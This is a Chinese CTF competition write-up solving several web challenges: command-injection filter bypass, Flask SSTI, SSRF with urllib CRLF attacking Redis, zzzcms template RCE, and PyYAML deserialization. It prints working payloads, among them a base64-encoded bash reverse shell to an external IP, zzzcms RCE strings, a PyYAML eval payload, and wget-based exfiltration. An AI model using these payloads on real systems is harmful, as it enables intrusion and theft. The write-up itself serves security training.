November 21st 2020, 12:00:00 pm
Command
考点:命令执行bypass
解题过程:
- 读源码
先测试了|ls
发现|
没有被过滤,所以直接用一些常规的读文件的命令来进行测试,发现基本被过滤了。所以只能从特殊字符串的bypass入手,最终用\
绕过了判断,空格、index和php似乎也被过滤了,分别用%09
和\
进行绕过。读源码的时候要抓包,否则读出内容会被当做html代码运行导致页面跳转。
最终语句:|ca\t%09inde\x.ph\p
源码为:
1 |
|
- 读取flag
因为这里过滤了太多语句,所以我们可以通过base64来对我们想要执行的语句进行处理。比如我想要执行ls
命令,就可以使用|echo%09"bHMK"|base64%09-d|bas\h
来执行,然后就可以直接反弹shell了。
反弹shell:|echo%09"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyOS4yMTEuOTMuMjgvMzMzMyAwPiYx"|base64%09-d|bas\h
存在一个问题,反弹shell一直连接不上,不知道是什么原因。还因为这个服务卡死了几次,得重新下发容器才能恢复。目前来看只能变换思路,直接执行命令寻找flag文件。
寻找flag文件的命令:grep -r "flag{" /
,这里需要注意的是,命令进行base64编码之后有些字符在过滤里面,访问时会被拦截,可以用字符串拼接的方式进行绕过。
最终payload:|echo%09"Z3JlcCA""tciAiZmxhZ3siIC8="|base64%09-d|bas\h
这里附上我队友的payload:
127.0.0.1.taia.a.a.a|echo%09”67726570202D722022666C61677B22202F203E202F746D702F703167335F31”%09|%09xxd%09-r%09-p%09|%09bas”h”
使用了xxd -r -p
把16进制转为字符串然后执行,执行的语句为:grep -r "flag{" / > /tmp/p1g3_1
寻找flag写入到/tmp/p1g3_1
flaskbot
考点:Python float()函数Trick、SSTI
解题过程:
这里大意了,以为只是一道简单的SSTI,做了一会发现找不到回显点,就卡住了。通过debug报错能够获取到的部分源码如下:
1 | user=request.cookies.get('user') |
通过源码可以得知,这里的注入点肯定是return render_template_string(guessNum(num,name))
,但是我一直不清楚传入的name怎么回显回来,最后队友直接找到了这个Trick,orz~。地址:https://zhuanlan.zhihu.com/p/164896822 其实这里直接google flaskbot ctf
也能搜索的出来,当时大意了嗷。
当传入的num为nan之后,回显出来的就是有name的语句了。之后就是一个常规的SSTI的bypass了:
这里同样的对一些字符进行了过滤,比如import、eval等,我们可以通过字符串拼接或者编码的方式进行绕过。下面是最终的payload:
1 | # 最终payload |
easygogogo
考点:不知道啥考点
解题步骤:(这题应该是一道非预期的题)
题目存在一个文件上传接口与查看文件内容的接口,题目存在两个需要注意的点:
- 查看文件时没有传递参数,是通过cookie来获取文件的。
- 上传文件处的文件名存在目录遍历问题
这道题的解题步骤我就直接贴上队友的过程了:
首先开一个容器随便上传一些东西,文件名为
../../../../../../flag
。把右边的cookie记录下来。重开容器,随意上传一些东西,然后到show下面改cookie为上面记录的cookie可以得到base64加密的flag
doyouknowssrf
考点:SSRF bypass、Python urlib3 CRLF漏洞、Redis主从复制
解题过程:
因为这道题是出的原题,所以SSRF bypass和Python urlib3 CRLF的过程这里就不再记录了。附上几个参考链接:
- https://xz.aliyun.com/t/7256#toc-7
- Python urllib CRLF注入漏洞小结
- http://phoebe233.cn/?p=253#sssrfme
- https://tyaoo.github.io/2020/08/31/2020-GACTF-web/
主要来看下CRLF后打Redis的整个流程是怎么样的,根据一些文章可以构造出用于攻击Redis的payload的脚本。生成的payload用到了SLAVEOF命令,访问之后会给指定vps的端口发送一个PING
数据。(AUTH pwd是用于Redis认证的接口,爆破出来的密码为123456,爆破就可以使用这个脚本。)
1 | import requests |
现在已经可以执行我们想要的redis语句了,如果要想达读flag的效果的话,一共有两种思路,一种是直接通过主从复制拿到shell,另一种就是写一个shell到web根目录下。我尝试了前者,不能成功反弹shell。最后是队友修改redis-rogue-server.py脚本来通过主从复制写入任意文件到指定目录。(这里必须膜一下P1g3师傅) 拿到shell再获取flag。仓库地址为:https://github.com/n0b0dyCN/redis-rogue-server
整个思路是这样:通过CRLF来执行redis命令,配合使用redis-rogue-server.py来建立主从复制,将原本上传so文件处的代码修改为上传shell文件。
原本我们通过redis写shell的语句是:
1 | flushall |
如果我们要把shell.php
写入到/var/www/html
下去的话,那么上方脚本的payload处就应该修改为下方的内容(这里的vps端口设置为redis-rogue-server.py所开启的端口)
1 | payload = f''' HTTP/1.1 |
生成出来的payload:
利用步骤:
- 先开启redis-rogue-server.py服务
- 访问payload写入shell
- 直接访问shell.php读取flag
http://eci-2ze0f7sk2zkkjjuvbzyh.cloudeci1.ichunqiu.com/shell.php?a=system(%27cat%20/flag%27);
easyzzz
考点:代码审计、payload构造
解题步骤:
(zzzcms在很久之前就已经审过,但是在做这道题的时候我一直没下载到源码,浪费了太多时间。)
zzzcms的前台rce参考:zzzcmsV1.7.5前台(文章最后),这道题目环境中对/search/
路径下的POST形式的keys
参数进行了过滤,但是在zzzcms框架中,参数是通过getform
这个方法来获取的。查看代码可以发现,除了POST接收参数之外,也支持GET和COOKIE形式的接收。
尝试GET方法就可以直接用文章中的payload了:
接下来就是构造shell的payload,框架中的danger_key过滤了大多数可利用的函数,但array_map和base_convert这两个函数没有被过滤。通过这两个函数的配合使用,就可以构造出命令执行的payload。
构造思路:先将函数名从36进制转为10进制数字,再通过base_convert复原。作为array_map第一个的回调函数名传递进去就可以执行我们想要的命令了。但进制的转换无法转换除了数字字母之外的字符,可以通过异或的方式来得到。
编写一个可以Fuzz异或字符的脚本:
1 | import urllib.parse |
Fuzz出来的结果如下:
1 | 空格 (base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)) |
可以直接转换的字符:
1 | phpinfo: base_convert(55490343972,10,36) |
构造payload:
phpinfo():
1 | {if:array_map(base_convert(27440799224,10,32),array(1))}{end if} |
system('ls /')
:
1 | {if:array_map(base_convert(1751504350,10,36),array(base_convert(784,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))))}{end if} |
system('cat /flag')
:
1 | {if:array_map(base_convert(1751504350,10,36),array(base_convert(15941,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).base_convert(727432,10,36)))}{end if} |
profile system
考点:PyYAML反序列化漏洞
解题步骤:
这题先通过目录遍历拿到源码/uploads/../app.js
,在本地可以搭建起测试环境。经过一些代码审计可以发现一个比较明显的漏洞点,就是yaml.load(data)
处。前面有一个简单的过滤,比较重要的就是把.
过滤了,导致常见的PyYAML的payload利用不了。
因为常见的payload利用不了,于是只能去寻找没有.
的函数调用,最后寻找到的是eval函数,exec也可以,构造利用方式不太一样,可以参考:Python中eval带来的潜在风险,你知道吗?
eval函数payload:
1 | !!python/object/new:eval ["__import__('os').system('whoami')"] |
测试一下(如果你的环境直接yaml.load
报错的话,可以在后面添加Loder=yaml.Loader
来解决):
在本地测试成功。本以为这样就直接可以打了,结果在题目环境中怎么都打不通,后来队友通过下方的语句,确定了题目环境中不会执行我们的eval语句。下方的语句如果执行了eval语句的话,题目环境就会显示hello Administrator,反之则不会。
{user: !!python/object/new:eval [“chr(65)+chr(100)+chr(109)+chr(105)+chr(110)+chr(105)+chr(115)+chr(116)+chr(114)+chr(97)+chr(116)+chr(111)+chr(114)”]}
最后确定了原因,是因为环境上的yaml版本是5.x的,而我们本机上的应该是3.x的版本。所以必须寻找到5.x版本的payload,其实直接在google搜也可以搜到这个漏洞点的原题:uiuctf 2020 在这里的payload就是可以直接打通的。命令执行尝试了curl,没法打通。最后是用wget外带出结果。
1 | # wget语句 |